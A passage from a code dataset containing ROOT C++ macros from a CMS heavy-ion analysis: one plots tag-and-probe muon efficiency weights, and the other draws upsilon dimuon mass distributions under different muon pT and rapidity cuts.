TF1(\"fp\",tnp_weight_muidtrg_pp_wrapper,ptminval,30,2);\n fp->SetParameters(eta,-1);\n fp->SetLineColor(kCyan);\n fp->Draw(\"same\");\n TF1 *fm = new TF1(\"fm\",tnp_weight_muidtrg_pp_wrapper,ptminval,30,2);\n fm->SetParameters(eta,-2);\n fm->SetLineColor(kCyan);\n fm->Draw(\"same\");\n TF1 *fnom = new TF1(\"fnom\",tnp_weight_muidtrg_pp_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,0);\n fnom->SetLineColor(kRed);\n fnom->Draw(\"same\");\n\n tleg->SetHeader(Form(\"#splitline{pp, MuId+Trg}{#eta #in [%.1f,%.1f], p_{T}>%.1f GeV/c}\",etamin[i],etamax[i],ptminval));\n tleg->AddEntry(fnom,\"Nominal\",\"l\");\n tleg->AddEntry(\"f1\",\"stat (100 toys)\",\"l\");\n tleg->AddEntry(fp,\"syst (+/1#sigma)\",\"l\");\n tleg->Draw();\n c1->SaveAs(Form(\"tnp_muidtrg_pp_eta%.1f-%.1f.pdf\",etamin[i],etamax[i]));\n c1->SaveAs(Form(\"tnp_muidtrg_pp_eta%.1f-%.1f.png\",etamin[i],etamax[i]));\n }\n\n // sta, pbpb\n etamin = new float[2]; etamin[0]=0.; etamin[1]=1.6;;\n etamax = new float[2]; etamax[0]=1.6; etamax[1]=2.4;\n\n for (int i=0; i<2; i++) {\n haxes->GetYaxis()->SetRangeUser(0.5,1.5);\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.53,0.16,0.91,0.41);\n tleg->SetBorderSize(0);\n\n eta = (etamax[i]+etamin[i])/2.;\n ptminval = ptmin(etamax[i]);\n for (int i=1; i<=100; i++) {\n TF1 *fnom = new TF1(Form(\"f%i\",i),tnp_weight_sta_pbpb_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,i);\n fnom->SetLineColor(kBlack);\n fnom->Draw(\"same\");\n }\n TF1 *fp = new TF1(\"fp\",tnp_weight_sta_pbpb_wrapper,ptminval,30,2);\n fp->SetParameters(eta,-1);\n fp->SetLineColor(kCyan);\n fp->Draw(\"same\");\n TF1 *fm = new TF1(\"fm\",tnp_weight_sta_pbpb_wrapper,ptminval,30,2);\n fm->SetParameters(eta,-2);\n fm->SetLineColor(kCyan);\n fm->Draw(\"same\");\n TF1 *fnom = new TF1(\"fnom\",tnp_weight_sta_pbpb_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,0);\n fnom->SetLineColor(kRed);\n fnom->Draw(\"same\");\n\n tleg->SetHeader(Form(\"#splitline{PbPb, STA}{#eta #in [%.1f,%.1f], p_{T}>%.1f GeV/c}\",etamin[i],etamax[i],ptminval));\n tleg->AddEntry(fnom,\"Nominal\",\"l\");\n tleg->AddEntry(\"f1\",\"stat (100 toys)\",\"l\");\n tleg->AddEntry(fp,\"syst (+/1#sigma)\",\"l\");\n tleg->Draw();\n c1->SaveAs(Form(\"tnp_sta_pbpb_eta%.1f-%.1f.pdf\",etamin[i],etamax[i]));\n c1->SaveAs(Form(\"tnp_sta_pbpb_eta%.1f-%.1f.png\",etamin[i],etamax[i]));\n }\n\n // sta, pp\n for (int i=0; i<2; i++) {\n haxes->GetYaxis()->SetRangeUser(0.5,1.5);\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.53,0.16,0.91,0.41);\n tleg->SetBorderSize(0);\n\n eta = (etamax[i]+etamin[i])/2.;\n ptminval = ptmin(etamax[i]);\n for (int i=1; i<=100; i++) {\n TF1 *fnom = new TF1(Form(\"f%i\",i),tnp_weight_sta_pp_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,i);\n fnom->SetLineColor(kBlack);\n fnom->Draw(\"same\");\n }\n TF1 *fp = new TF1(\"fp\",tnp_weight_sta_pp_wrapper,ptminval,30,2);\n fp->SetParameters(eta,-1);\n fp->SetLineColor(kCyan);\n fp->Draw(\"same\");\n TF1 *fm = new TF1(\"fm\",tnp_weight_sta_pp_wrapper,ptminval,30,2);\n fm->SetParameters(eta,-2);\n fm->SetLineColor(kCyan);\n fm->Draw(\"same\");\n TF1 *fnom = new TF1(\"fnom\",tnp_weight_sta_pp_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,0);\n fnom->SetLineColor(kRed);\n fnom->Draw(\"same\");\n\n tleg->SetHeader(Form(\"#splitline{pp, STA}{#eta #in [%.1f,%.1f], p_{T}>%.1f GeV/c}\",etamin[i],etamax[i],ptminval));\n tleg->AddEntry(fnom,\"Nominal\",\"l\");\n tleg->AddEntry(\"f1\",\"stat (100 toys)\",\"l\");\n tleg->AddEntry(fp,\"syst (+/1#sigma)\",\"l\");\n tleg->Draw();\n c1->SaveAs(Form(\"tnp_sta_pp_eta%.1f-%.1f.pdf\",etamin[i],etamax[i]));\n c1->SaveAs(Form(\"tnp_sta_pp_eta%.1f-%.1f.png\",etamin[i],etamax[i]));\n }\n}\n" }, { "alpha_fraction": 0.47393134236335754, "alphanum_fraction": 0.5959787964820862, "avg_line_length": 48.38264465332031, "blob_id": "23ae2a20d2713e49434d33f354be61a1b7992a45", "content_id": "927c926bb5a7bf3e1dc1f96d05e116ae4ba283e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 34716, "license_type": "no_license", "max_line_length": 221, "num_lines": 703, "path": "/plotting/plotSimpleDistributions.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include <iostream> // std::cout\n#include <algorithm> // std::max\nusing namespace std;\nint plotSimpleDistributions(){\n\n TFile *_file0 = TFile::Open(\"../dimuonTree_upsiMiniTree_AA2p76tev_ptmuSpecial_nov25_2013_trigBit1_allTriggers1_testNoCut.root\");\n gROOT->Macro(\"cm/logon.C+\");\n int rapidityBinStart=0; \n int rapidityBinStop=2; \n int ptCutStart =1;\n int ptCutStop =3;\n float pta_init[4] = {0,3.5,4,4.5};\n float ptb_init[4] = {0,3.5,4,4.5};\n float rapa_init[4]={0,0.8,1.6,2.4};\n float rapb_init[4]={0,0.8,1.6,2.4};\n float pta,ptb;\n float rapa,rapb;\n bool option=false;\n \n TCut cut_0p8(\"abs(upsRapidity)<0.8\");\n TCut cut_1p6(\"abs(upsRapidity)>0.8 && abs(upsRapidity)<1.6 \");\n TCut cut_2p4(\"abs(upsRapidity)>1.6\");\n //linear pt cuts\n TCut cut3p53p5(\"(muPlusPt>3.5 && muMinusPt>3.5)\");\n TCut cut44(\"(muPlusPt>4 && muMinusPt>4)\");\n TCut cut4p54p5(\"(muPlusPt>4.5 && muMinusPt>4.5)\");\n //asymmetric pt cuts\n TCut cut3p54(\"((muPlusPt>3.5 && muMinusPt>4)||(muPlusPt>4 && muMinusPt>3.5))\");\n TCut cut34(\"((muPlusPt>3 && muMinusPt>4)||(muPlusPt>4 && muMinusPt>3))\"); // can work out of barrel only.\n TCut cut3p54p5(\"((muPlusPt>3.5 && muMinusPt>4.5)||(muPlusPt>4.5 && muMinusPt>3.5))\");\n TCut cut44p5(\"((muPlusPt>4 && muMinusPt>4.5)||(muPlusPt>4.5 && muMinusPt>4))\");\n TCut cutFuture(\"(muPlusPt>4 && ((muMinusPt>3.5 && abs(muMinusEta)>1.2) || (muMinusPt>4.5 && abs(muMinusEta)<1.2))) || (muMinusPt>4 && ((muPlusPt>3.5 && abs(muPlusEta)>1.2) || (muPlusPt>4.5 && abs(muPlusEta)<1.2))) \");\n\n\n TCanvas *c1 = new TCanvas(\"c1_name\",\"c1_title\",800,800);\n c1->cd();\n UpsilonTree->Draw(\"invariantMass>>e34(70,7,14)\",cut_2p4+cut34,\"\");\n e34->SetFillColor(kViolet); \n float N_BLS_34_e= e34->Integral(0,22); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n float N_BRS_34_e= e34->Integral(28,70); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n UpsilonTree->Draw(\"invariantMass>>e3p53p5(70,7,14)\",cut_2p4+cut3p53p5,\"same\");\n e3p53p5->SetFillColor(kOrange); \n float N_BLS_3p53p5_e= e3p53p5->Integral(0,22); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n float N_BRS_3p53p5_e= e3p53p5->Integral(28,70); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n UpsilonTree->Draw(\"invariantMass>>e3p54(70,7,14)\",cut_2p4+cut3p54,\"same\");\n e3p54->SetFillColor(kBlue); \n float N_BLS_3p54_e= e3p54->Integral(0,22);\n float N_BRS_3p54_e= e3p54->Integral(28,70);\n UpsilonTree->Draw(\"invariantMass>>e3p54p5(70,7,14)\",cut_2p4+cut3p54p5,\"same\");\n e3p54p5->SetFillColor(kGreen+1); \n float N_BLS_3p54p5_e= e3p54p5->Integral(0,22);\n float N_BRS_3p54p5_e= e3p54p5->Integral(28,70);\n UpsilonTree->Draw(\"invariantMass>>e44(70,7,14)\",cut_2p4+cut44,\"same\");\n e44->SetFillColor(kRed); \n float N_BLS_44_e= e44->Integral(0,22);\n float N_BRS_44_e= e44->Integral(28,70);\n\n // UpsilonTree->Draw(\"invariantMass>>eFuture(70,7,14)\",cut_2p4+cutFuture,\"same\");\n // eFuture->SetFillColor(kTeal-2); \n\n cout <<\" pt4 pt4 \" << N_BLS_44_e << \", \" << N_BRS_44_e << endl; \n cout <<\" pt3 pt4 \" << N_BLS_34_e << \", \" << N_BRS_34_e << endl; \n // computing added values:\n float avl_3p53p5_e = 100*(N_BLS_3p53p5_e-N_BLS_44_e)/N_BLS_44_e;\n float avl_34_e = 100*(N_BLS_34_e-N_BLS_44_e)/N_BLS_44_e;\n float avl_3p54_e = 100*(N_BLS_3p54_e-N_BLS_44_e)/N_BLS_44_e;\n float avl_3p54p5_e = 100*(N_BLS_3p54p5_e-N_BLS_44_e)/N_BLS_44_e;\n\n float avr_3p53p5_e = 100*(N_BRS_3p53p5_e-N_BRS_44_e)/N_BRS_44_e;\n float avr_34_e = 100*(N_BRS_34_e-N_BRS_44_e)/N_BRS_44_e;\n float avr_3p54_e = 100*(N_BRS_3p54_e-N_BRS_44_e)/N_BRS_44_e;\n float avr_3p54p5_e = 100*(N_BRS_3p54p5_e-N_BRS_44_e)/N_BRS_44_e;\n\n cout <<\" Added Values at |y| > 1.6: \" << endl;\n std::cout<<setprecision(3)<<endl;\n cout <<\" 3 + 4 - \" << avl_34_e << \" % (left SB) -- and \" << avr_34_e << \" % (right SB)\" << endl;\n cout <<\" 3.5 + 4 - \" << avl_3p54_e << \" % (left SB) -- and \" << avr_3p54_e << \" % (right SB)\"<< endl;\n cout <<\" 3.5 + 3.5 - \" << avl_3p53p5_e << \" % (left SB) -- and \" << avr_3p53p5_e << \" % (right SB)\"<< endl;\n cout <<\" 3.5 + 4.5 - \" << avl_3p54p5_e << \" % (left SB) -- and \" << avr_3p54p5_e << \" % (right SB)\"<< endl;\n \n e34->Draw();\n e3p53p5->Draw(\"same\");\n e3p54->Draw(\"same\");\n e3p54p5->Draw(\"same\");\n e44->Draw(\"same\");\n leg3 = new TLegend(0.5,0.6,0.93,0.93);\n leg3->SetFillStyle(0);\n leg3->SetFillColor(0);\n leg3->SetBorderSize(0);\n leg3->SetTextFont(42);\n leg3->SetTextSize(0.03);\n leg3->SetHeader(\"PbPb, 1.6 < |y| < 2.4\");\n leg3->AddEntry(e34,\"p_{T}(#mu_{1},#mu_{2}) > 3, 4 GeV/c\",\"f\");\n leg3->AddEntry(e3p53p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"f\");\n leg3->AddEntry(e3p54,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"f\");\n leg3->AddEntry(e3p54p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4.5 GeV/c\",\"f\");\n leg3->AddEntry(e44,\"p_{T}(#mu_{1},#mu_{2}) > 4, 4 GeV/c\",\"f\");\n leg3->Draw();\n //c1->Draw();\n c1->SaveAs(\"~/Desktop/Grenelle/EndcapMassPlotsMoreCuts.pdf\");\n TCanvas *c2 = new TCanvas(\"c2_name\",\"c2_title\",800,800);\n c2->cd();\n // UpsilonTree->Draw(\"invariantMass>>e3p53p5(70,7,14)\",cut_2p4+cut3p53p5,\"\");\n // e3p53p5->SetFillColor(kRed+2); \n UpsilonTree->Draw(\"invariantMass>>be34(70,7,14)\",cut_1p6+cut34,\"\");\n be34->SetFillColor(kViolet); \n float N_BLS_34_be= be34->Integral(0,22); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n float N_BRS_34_be= be34->Integral(28,70); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n UpsilonTree->Draw(\"invariantMass>>be3p53p5(70,7,14)\",cut_1p6+cut3p53p5,\"same\");\n be3p53p5->SetFillColor(kOrange); \n float N_BLS_3p53p5_be= be3p53p5->Integral(0,22); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n float N_BRS_3p53p5_be= be3p53p5->Integral(28,70); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n UpsilonTree->Draw(\"invariantMass>>be3p54(70,7,14)\",cut_1p6+cut3p54,\"same\");\n be3p54->SetFillColor(kBlue); \n float N_BLS_3p54_be= be3p54->Integral(0,22);\n float N_BRS_3p54_be= be3p54->Integral(28,70);\n UpsilonTree->Draw(\"invariantMass>>be3p54p5(70,7,14)\",cut_1p6+cut3p54p5,\"same\");\n be3p54p5->SetFillColor(kGreen+1); \n float N_BLS_3p54p5_be= be3p54p5->Integral(0,22);\n float N_BRS_3p54p5_be= be3p54p5->Integral(28,70);\n UpsilonTree->Draw(\"invariantMass>>be44(70,7,14)\",cut_1p6+cut44,\"same\");\n be44->SetFillColor(kRed); \n float N_BLS_44_be= be44->Integral(0,22);\n float N_BRS_44_be= be44->Integral(28,70);\n // c2->Draw();\n cout <<\" pt4 pt4 \" << N_BLS_44_be << \", \" << N_BRS_44_be << endl; \n cout <<\" pt3 pt4 \" << N_BLS_34_be << \", \" << N_BRS_34_be << endl; \n // computing added values:\n float avl_3p53p5_be = 100*(N_BLS_3p53p5_be-N_BLS_44_be)/N_BLS_44_be;\n float avl_34_be = 100*(N_BLS_34_be-N_BLS_44_be)/N_BLS_44_be;\n float avl_3p54_be = 100*(N_BLS_3p54_be-N_BLS_44_be)/N_BLS_44_be;\n float avl_3p54p5_be = 100*(N_BLS_3p54p5_be-N_BLS_44_be)/N_BLS_44_be;\n\n float avr_3p53p5_be = 100*(N_BRS_3p53p5_be-N_BRS_44_be)/N_BRS_44_be;\n float avr_34_be = 100*(N_BRS_34_be-N_BRS_44_be)/N_BRS_44_be;\n float avr_3p54_be = 100*(N_BRS_3p54_be-N_BRS_44_be)/N_BRS_44_be;\n float avr_3p54p5_be = 100*(N_BRS_3p54p5_be-N_BRS_44_be)/N_BRS_44_be;\n\n cout <<\" Added Values at 0.8 < |y| < 1.6: \" << endl;\n std::cout<<setprecision(3)<<endl;\n cout <<\" 3 + 4 - \" << avl_34_be << \" % (left SB) -- and \" << avr_34_be << \" % (right SB)\" << endl;\n cout <<\" 3.5 + 4 - \" << avl_3p54_be << \" % (left SB) -- and \" << avr_3p54_be << \" % (right SB)\"<< endl;\n cout <<\" 3.5 + 3.5 - \" << avl_3p53p5_be << \" % (left SB) -- and \" << avr_3p53p5_be << \" % (right SB)\"<< endl;\n cout <<\" 3.5 + 4.5 - \" << avl_3p54p5_be << \" % (left SB) -- and \" << avr_3p54p5_be << \" % (right SB)\"<< endl;\n \n be34->Draw();\n be3p53p5->Draw(\"same\");\n be3p54->Draw(\"same\");\n be3p54p5->Draw(\"same\");\n be44->Draw(\"same\");\n leg3 = new TLegend(0.5,0.6,0.93,0.93);\n leg3->SetFillStyle(0);\n leg3->SetFillColor(0);\n leg3->SetBorderSize(0);\n leg3->SetTextFont(42);\n leg3->SetTextSize(0.03);\n leg3->SetHeader(\"PbPb, 0.8 < |y| < 1.6\");\n leg3->AddEntry(be34,\"p_{T}(#mu_{1},#mu_{2}) > 3, 4 GeV/c\",\"f\");\n leg3->AddEntry(be3p53p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"f\");\n leg3->AddEntry(be3p54,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"f\");\n leg3->AddEntry(be3p54p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4.5 GeV/c\",\"f\");\n leg3->AddEntry(be44,\"p_{T}(#mu_{1},#mu_{2}) > 4, 4 GeV/c\",\"f\");\n leg3->Draw();\n c2->SaveAs(\"~/Desktop/Grenelle/intermediateRapidityMassPlotsMoreCuts.pdf\");\n\n\n TCanvas *c3 = new TCanvas(\"c3_name\",\"c3_title\",800,800);\n c3->cd();\n\n UpsilonTree->Draw(\"invariantMass>>b34(70,7,14)\",cut_0p8+cut34,\"\");\n b34->SetFillColor(kViolet); \n float N_BLS_34_b= b34->Integral(0,22); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n float N_BRS_34_b= b34->Integral(28,70); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n UpsilonTree->Draw(\"invariantMass>>b3p53p5(70,7,14)\",cut_0p8+cut3p53p5,\"same\");\n b3p53p5->SetFillColor(kOrange); \n float N_BLS_3p53p5_b= b3p53p5->Integral(0,22); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n float N_BRS_3p53p5_b= b3p53p5->Integral(28,70); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n UpsilonTree->Draw(\"invariantMass>>b3p54(70,7,14)\",cut_0p8+cut3p54,\"same\");\n b3p54->SetFillColor(kBlue); \n float N_BLS_3p54_b= b3p54->Integral(0,22);\n float N_BRS_3p54_b= b3p54->Integral(28,70);\n UpsilonTree->Draw(\"invariantMass>>b3p54p5(70,7,14)\",cut_0p8+cut3p54p5,\"same\");\n b3p54p5->SetFillColor(kGreen+1); \n float N_BLS_3p54p5_b= b3p54p5->Integral(0,22);\n float N_BRS_3p54p5_b= b3p54p5->Integral(28,70);\n UpsilonTree->Draw(\"invariantMass>>b44(70,7,14)\",cut_0p8+cut44,\"same\");\n b44->SetFillColor(kRed); \n float N_BLS_44_b= b44->Integral(0,22);\n float N_BRS_44_b= b44->Integral(28,70);\n c3->Draw();\n cout <<\" pt4 pt4 \" << N_BLS_44_b << \", \" << N_BRS_44_b << endl; \n cout <<\" pt3 pt4 \" << N_BLS_34_b << \", \" << N_BRS_34_b << endl; \n // computing added values:\n float avl_3p53p5_b = 100*(N_BLS_3p53p5_b-N_BLS_44_b)/N_BLS_44_b;\n float avl_34_b = 100*(N_BLS_34_b-N_BLS_44_b)/N_BLS_44_b;\n float avl_3p54_b = 100*(N_BLS_3p54_b-N_BLS_44_b)/N_BLS_44_b;\n float avl_3p54p5_b = 100*(N_BLS_3p54p5_b-N_BLS_44_b)/N_BLS_44_b;\n\n float avr_3p53p5_b = 100*(N_BRS_3p53p5_b-N_BRS_44_b)/N_BRS_44_b;\n float avr_34_b = 100*(N_BRS_34_b-N_BRS_44_b)/N_BRS_44_b;\n float avr_3p54_b = 100*(N_BRS_3p54_b-N_BRS_44_b)/N_BRS_44_b;\n float avr_3p54p5_b = 100*(N_BRS_3p54p5_b-N_BRS_44_b)/N_BRS_44_b;\n\n cout <<\" Added Values at |y| < 0.8: \" << endl;\n std::cout<<setprecision(3)<<endl;\n cout <<\" 3 + 4 - \" << avl_34_b << \" % (left SB) -- and \" << avr_34_b << \" % (right SB)\" << endl;\n cout <<\" 3.5 + 4 - \" << avl_3p54_b << \" % (left SB) -- and \" << avr_3p54_b << \" % (right SB)\"<< endl;\n cout <<\" 3.5 + 3.5 - \" << avl_3p53p5_b << \" % (left SB) -- and \" << avr_3p53p5_b << \" % (right SB)\"<< endl;\n cout <<\" 3.5 + 4.5 - \" << avl_3p54p5_b << \" % (left SB) -- and \" << avr_3p54p5_b << \" % (right SB)\"<< endl;\n \n b34->Draw();\n b3p53p5->Draw(\"same\");\n b3p54->Draw(\"same\");\n b3p54p5->Draw(\"same\");\n b44->Draw(\"same\");\n leg3 = new TLegend(0.5,0.6,0.93,0.93);\n leg3->SetFillStyle(0);\n leg3->SetFillColor(0);\n leg3->SetBorderSize(0);\n leg3->SetTextFont(42);\n leg3->SetTextSize(0.03);\n leg3->SetHeader(\"PbPb, |y| < 0.8\");\n leg3->AddEntry(b34,\"p_{T}(#mu_{1},#mu_{2}) > 3, 4 GeV/c\",\"f\");\n leg3->AddEntry(b3p53p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"f\");\n leg3->AddEntry(b3p54,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"f\");\n leg3->AddEntry(b3p54p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4.5 GeV/c\",\"f\");\n leg3->AddEntry(b44,\"p_{T}(#mu_{1},#mu_{2}) > 4, 4 GeV/c\",\"f\");\n leg3->Draw();\n c3->SaveAs(\"~/Desktop/Grenelle/BarrelMassPlotsMoreBins.pdf\");\n\n TFile *_file1 = TFile::Open(\"../upsiMiniTree_pyquen1S_noMuonPtCuts_QQtrigbit1_Trig_analysisOK_20140729_cuts10-006.root\");//upsiMiniTree_Pyquen1S_QQtrigbit1_Trig_Unfolding_postCut_deltaRmatched_withCentrality.root\");\n TCut cutMC_0p8(\"abs(upsRapidity)<0.8\");\n TCut cutMC_1p6(\"abs(upsRapidity)>0.8 && abs(upsRapidity)<1.6 \");\n TCut cutMC_2p4(\"abs(upsRapidity)>1.6\");\n //linear pt cuts\n TCut cutMC3p53p5(\"(muPlusPt>3.5 && muMinusPt>3.5)\");\n TCut cutMC44(\"(muPlusPt>4 && muMinusPt>4)\");\n TCut cutMC4p54p5(\"(muPlusPt>4.5 && muMinusPt>4.5)\");\n //asymmetric pt cuts\n TCut cutMC3p54(\"((muPlusPt>3.5 && muMinusPt>4)||(muPlusPt>4 && muMinusPt>3.5))\");\n TCut cutMC34(\"((muPlusPt>3 && muMinusPt>4)||(muPlusPt>4 && muMinusPt>3))\"); // can work out of barrel only.\n TCut cutMC3p54p5(\"((muPlusPt>3.5 && muMinusPt>4.5)||(muPlusPt>4.5 && muMinusPt>3.5))\");\n TCut cutMC44p5(\"((muPlusPt>4 && muMinusPt>4.5)||(muPlusPt>4.5 && muMinusPt>4))\");\n TCut cutMCFuture(\"(muPlusPt>4 && ((muMinusPt>3.5 && abs(muMinusEta)>1.2) || (muMinusPt>4.5 && abs(muMinusEta)<1.2))) || (muMinusPt>4 && ((muPlusPt>3.5 && abs(muPlusEta)>1.2) || (muPlusPt>4.5 && abs(muPlusEta)<1.2))) \");\n\n TCanvas *cMC1 = new TCanvas(\"cMC1_name\",\"cMC1_title\",800,800);\n cMC1->cd();\n UpsilonTree->Draw(\"invariantMass>>kk(70,7,14)\",cutMC44,\"\");\n // b34->SetFillColor(kViolet); \n float k = (3485)/kk->Integral(22,27); \n cout << \"K = \"<< k << endl; \n UpsilonTree->Draw(\"invariantMass>>eMC34(70,7,14)\",cutMC_2p4+cutMC34,\"\");\n eMC34->SetFillColor(kViolet); \n float N_SIG_34_e= eMC34->Integral(22,27); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n \n UpsilonTree->Draw(\"invariantMass>>eMC3p53p5(70,7,14)\",cutMC_2p4+cutMC3p53p5,\"same\");\n eMC3p53p5->SetFillColor(kOrange); \n float N_SIG_3p53p5_e= eMC3p53p5->Integral(22,27); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n \n UpsilonTree->Draw(\"invariantMass>>eMC3p54(70,7,14)\",cutMC_2p4+cutMC3p54,\"same\");\n eMC3p54->SetFillColor(kBlue); \n float N_SIG_3p54_e= eMC3p54->Integral(22,27);\n \n UpsilonTree->Draw(\"invariantMass>>eMC3p54p5(70,7,14)\",cutMC_2p4+cutMC3p54p5,\"same\");\n eMC3p54p5->SetFillColor(kGreen+1); \n float N_SIG_3p54p5_e= eMC3p54p5->Integral(22,27);\n \n UpsilonTree->Draw(\"invariantMass>>eMC44(70,7,14)\",cutMC_2p4+cutMC44,\"same\");\n eMC44->SetFillColor(kRed); \n float N_SIG_44_e= eMC44->Integral(22,27);\n\n cout <<\" pt4 pt4 \" << N_SIG_44_e << \", \" << N_SIG_34_e << endl; \n // cMC1->GetPad(0)->SetLogy();\n // computing added values:\n float avs_3p53p5_e = 100*(N_SIG_3p53p5_e-N_SIG_44_e)/N_SIG_44_e;\n float avs_34_e = 100*(N_SIG_34_e-N_SIG_44_e)/N_SIG_44_e;\n float avs_3p54_e = 100*(N_SIG_3p54_e-N_SIG_44_e)/N_SIG_44_e;\n float avs_3p54p5_e = 100*(N_SIG_3p54p5_e-N_SIG_44_e)/N_SIG_44_e;\n\n cout <<\" Added Values for Signal at |y| > 1.6: \" << endl;\n std::cout<<setprecision(3)<<endl;\n cout <<\" 3 + 4 - \" << avs_34_e << endl;\n cout <<\" 3.5 + 4 - \" << avs_3p54_e << endl;\n cout <<\" 3.5 + 3.5 - \" << avs_3p53p5_e << endl;\n cout <<\" 3.5 + 4.5 - \" << avs_3p54p5_e << endl;\n \n eMC34->Draw();\n eMC3p53p5->Draw(\"same\");\n eMC3p54->Draw(\"same\");\n eMC3p54p5->Draw(\"same\");\n eMC44->Draw(\"same\");\n\n\n legMC1 = new TLegend(0.5,0.6,0.93,0.93);\n legMC1->SetFillStyle(0);\n legMC1->SetFillColor(0);\n legMC1->SetBorderSize(0);\n legMC1->SetTextFont(42);\n legMC1->SetTextSize(0.03);\n legMC1->SetHeader(\"MC, 1.6 < |y| < 2.4\");\n legMC1->AddEntry(eMC34,\"p_{T}(#mu_{1},#mu_{2}) > 3, 4 GeV/c\",\"f\");\n legMC1->AddEntry(eMC3p53p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 3.5 GeV/c\",\"f\");\n legMC1->AddEntry(eMC3p54,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4 GeV/c\",\"f\");\n legMC1->AddEntry(eMC3p54p5,\"p_{T}(#mu_{1},#mu_{2}) > 3.5, 4.5 GeV/c\",\"f\");\n legMC1->AddEntry(eMC44,\"p_{T}(#mu_{1},#mu_{2}) > 4, 4 GeV/c\",\"f\");\n legMC1->Draw();\n\n\n TCanvas *cMC2 = new TCanvas(\"cMC2_name\",\"cMC2_title\",800,800);\n cMC2->cd();\n\n UpsilonTree->Draw(\"invariantMass>>beMC34(70,7,14)\",cutMC_1p6+cutMC34,\"\");\n beMC34->SetFillColor(kViolet); \n float N_SIG_34_be= beMC34->Integral(22,27); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n \n UpsilonTree->Draw(\"invariantMass>>beMC3p53p5(70,7,14)\",cutMC_1p6+cutMC3p53p5,\"same\");\n beMC3p53p5->SetFillColor(kOrange); \n float N_SIG_3p53p5_be= beMC3p53p5->Integral(22,27); //Nb of Bkg in Left Sideband, with a pt cut of 3p5 and 3p5, in the |y_ups| > 1.6 \"endcap\" region. \n \n UpsilonTree->Draw(\"invariantMass>>beMC3p54(70,7,14)\",cutMC_1p6+cutMC3p54,\"same\");\n beMC3p54->SetFillColor(kBlue); \n float N_SIG_3p54_be= beMC3p54->Integral(22,27);\n \n UpsilonTree->Draw(\"invariantMass>>beMC3p54p5(70,7,14)\",cutMC_1p6+cutMC3p54p5,\"same\");\n beMC3p54p5->SetFillColor(kGreen+1); \n float N_SIG_3p54p5_be= beMC3p54p5->Integral(22,27);\n \n UpsilonTree->Draw(\"invariantMass>>beMC44(70,7,14)\",cutMC_1p6+cutMC44,\"same\");\n beMC44->SetFillColor(kRed); \n float N_SIG_44_be= beMC44->Integral(22,27);\n\n cout <<\" pt4 pt4 \" << N_SIG_44_be << \", \" << N_SIG_34_be << endl; \n // cMC1->GetPad(0)->SetLogy();\n // computing added values:\n float avs_3p53p5_be = 100*(N_SIG_3p53p5_be-N_SIG_44_be)/N_SIG_44_be;\n float avs_34_be = 100*(N_SIG_34_be-N_SIG_44_be)/N_SIG_44_be;\n float avs_3p54_be = 100*(N_SIG_3p54_be-N_SIG_44_be)/N_SIG_44_be;\n float avs_3p54p5_be = 100*(N_SIG_3p54p5_be-N_SIG_44_be)/N_SIG_44_be;\n\n cout <<\" Added Values for Signal at |y| > 1.6: \" << endl;\n std::cout<<setprecision(3)<<endl;\n cout <<\" 3 + 4 - \" << avs_34_be << endl;\n cout <<\" 3.5 + 4 - \" << avs_3p54_be << endl;\n cout <<\" 3.5 + 3.5 - \" << avs_3p53p5_be << endl;\n cout <<\" 3.5 + 4.5 - \" << avs_3p54p5_be << endl;\n \n beMC34->Draw();\n beMC3p53p5->Draw(\"same\");\n beMC3p54->Draw(\"same\");\n beMC3p54p5->Draw(\"same\");\n beMC44->Draw(\"same\");\n\n legMC2 = new TLegend(0.5,0.6,0.93,0.93);\n legMC2->SetFillStyle(0);\n legMC2->SetFillColor(0);\n 